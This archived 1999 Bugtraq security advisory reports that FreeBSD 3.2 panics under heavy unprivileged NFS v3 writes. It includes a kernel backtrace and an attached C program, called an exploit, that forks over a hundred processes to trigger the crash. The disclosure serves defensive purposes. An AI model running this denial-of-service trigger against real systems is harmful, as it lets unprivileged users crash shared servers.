The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[ Kernel panic with FreeBSD-3.2-19990830-STABLE ]


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 2 Sep 1999 16:53:03 +0200
From: Sebastien Petit <spe@OLEANE.NET.>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: [ Kernel panic with FreeBSD-3.2-19990830-STABLE ]

--OgqxwSJOaUobr8KG
Content-Type: text/plain; charset=us-ascii

Hi !

There is a problem with FreeBSD 3.2-RELEASE and -STABLE and perhaps
FreeBSD 3.x.
The system panics when a program does multiple access on nfs v3 mounted directory
with default mount options (ie: mount x.x.x.x:/nfs /usr2).
FreeBSD 3.2 crashes immediatly with no warnings and just a "panic: getnewbuf:
cannot get buffer, infinite recursion failure" without root privileges.
This is simple to reproduce with a program that creates a lot of process
(ie: 120) accessing the nfs mounted directory and just does "open", "seek",
"write", "close". NetBSD is not vulnerable.

gdb:
panic: getnewbuf: cannot get buffer, infinite recursion failure

syncing disks... panic: getnewbuf: cannot get buffer, infinite recursion
failure

dumping to dev 20001, offset 272816
dump 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110
109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88
87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62
61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35
34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7
6 5 4 3 2 1
---
#0  boot (howto=260) at ../../kern/kern_shutdown.c:285
285                     dumppcb.pcb_cr3 = rcr3();
(kgdb) where
#0  boot (howto=260) at ../../kern/kern_shutdown.c:285
#1  0xc012f87c in at_shutdown (
    function=0xc02075f1
<__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
    arg=0x200, queue=1174437888) at ../../kern/kern_shutdown.c:446
#2  0xc014dc9f in getnewbuf (vp=0xcc1edb40, blkno=2293824, slpflag=0,
    slptimeo=0, size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
#3  0xc014e58c in getblk (vp=0xcc1edb40, blkno=2293824, size=8192,
slpflag=0,
    slptimeo=0) at ../../kern/vfs_bio.c:1511
#4  0xc014cd85 in bread (vp=0xcc1edb40, blkno=2293824, size=8192,
cred=0x0,
    bpp=0xcc3acbec) at ../../kern/vfs_bio.c:282
#5  0xc01b60f8 in ffs_update (vp=0xcc21ea40, waitfor=0)
    at ../../ufs/ffs/ffs_inode.c:98
#6  0xc01ba92f in ffs_fsync (ap=0xcc3acc74) at
../../ufs/ffs/ffs_vnops.c:258
#7  0xc01b8cb7 in ffs_sync (mp=0xc1d01c00, waitfor=2, cred=0xc0756300,
    p=0xc0246624) at vnode_if.h:499
#8  0xc0155f37 in sync (p=0xc0246624, uap=0x0) at
../../kern/vfs_syscalls.c:549
#9  0xc012f43d in boot (howto=256) at ../../kern/kern_shutdown.c:203
#10 0xc012f87c in at_shutdown (
    function=0xc02075f1
<__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
    arg=0x2000, queue=12443648) at ../../kern/kern_shutdown.c:446
#11 0xc014dc9f in getnewbuf (vp=0xcc243280, blkno=1519, slpflag=0,
slptimeo=0,
    size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
#12 0xc014e58c in getblk (vp=0xcc243280, blkno=1519, size=8192,
slpflag=0,
    slptimeo=0) at ../../kern/vfs_bio.c:1511
#13 0xc017b9fa in nfs_getcacheblk (vp=0xcc243280, bn=1519, size=8192,
    p=0xcc36f700) at ../../nfs/nfs_bio.c:904
#14 0xc017b5a5 in nfs_write (ap=0xcc3acec8) at ../../nfs/nfs_bio.c:765
#15 0xc0159dea in vn_write (fp=0xc1d40d40, uio=0xcc3acf10,
cred=0xc1d36300,
    flags=0) at vnode_if.h:331
#16 0xc013a73a in dofilewrite (p=0xcc36f700, fp=0xc1d40d40, fd=3,
    buf=0x804b000, nbyte=102400, offset=-1, flags=0)
    at ../../kern/sys_generic.c:363
#17 0xc013a643 in write (p=0xcc36f700, uap=0xcc3acf94)
    at ../../kern/sys_generic.c:298
#18 0xc01e6edb in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 0,
      tf_esi = 12384951, tf_ebp = -1077945584, tf_isp = -868560924,
      tf_ebx = 12384951, tf_edx = 0, tf_ecx = 12384951, tf_eax = 4,
      tf_trapno = 7, tf_err = 2, tf_eip = 671700396, tf_cs = 31,
      tf_eflags = 582, tf_esp = -1077946192, tf_ss = 39})
    at ../../i386/i386/trap.c:1100
#19 0xc01dda5c in Xint0x80_syscall ()
#20 0x8048799 in ?? ()

Exploit nfsexp.c is attached to this message.

Spe & Gro.
---
spe@oleane.net
gro@oleane.net

--OgqxwSJOaUobr8KG
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="nfsbench.c"

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <sys/time.h>
#include <time.h>

void usr1() {
}

int main(int argc, char ** argv) {
  int nbfils;
  int nbopen;
  int tbloc;
  int tfichier;
  char filename[512];
  int i, j, k, f;
  int pid;
  struct timeval start;
  struct timeval end;
  float delay;
  void * bloc;

  if (argc<6) {
    fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open sizefile(Kb) blocksize(kb).\n", argv[0]);
    fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
    exit(EXIT_FAILURE);
  }

  nbfils = atoi(argv[2]);
  nbopen = atoi(argv[3]);
  tfichier = atoi(argv[4]);
  tbloc = atoi(argv[5]);

  bloc = malloc(tbloc * 1024);
  memset(bloc, 0, tbloc * 1024);
  if (!bloc) {
    fprintf(stderr, "%s: ", argv[0]);
    perror("malloc");
    exit(-1);
  }

  fprintf(stderr, "forking %d times...\n", nbfils);

  signal(SIGUSR1, &usr1);

  j = 0;
  for(i=0;i<nbfils;i++) {
    pid = fork();
    if (pid<0) {
      perror("fork");
      break;
    } else
      j++;
    if (!pid) break;
  }


  if (!pid) {
    pause();
    pid = getpid();
    srand(pid*10);
    fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
    sprintf(filename, "%s%d", argv[1], pid);
    for(i=0;i<nbopen;i++) {
      f = open(filename, O_CREAT|O_RDWR, 0666);
      if (f<0) {
        fprintf(stderr, "[%d] file %s ", pid, filename);
        perror("open");
        break;
      }
      k = (rand() % (tfichier * 1024));
      j = lseek(f, k, SEEK_SET);
      if (j!=k) {
        fprintf(stderr, "[%d] ", pid);
        perror("lseek");
        break;
      }
      // read(f, bloc, tbloc*1024);
      if (write(f, bloc, tbloc*1024)!=tbloc*1024) {
        fprintf(stderr, "[%d] ", pid);
        perror("write");
        break;
      }
      sync();
      if (close(f)) {
        fprintf(stderr, "[%d] ", pid);
        perror("close");
        break;
      }
    }
    exit(0);
  }

  sleep(2);
  gettimeofday(&start, NULL);
  kill(0, SIGUSR1);

  i = 0;
  while (i<nbfils)
    if (waitpid(-1, NULL, 0)>0)
      i++;

  fprintf(stderr, "they're all dead now, exiting.\nYour system is not vulnerable\n");
  gettimeofday(&end, NULL);
  delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec - start.tv_usec))
    / (float) 1000000;

  i = nbopen * tbloc * nbfils;
        
  exit(0);
}

--OgqxwSJOaUobr8KG--


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру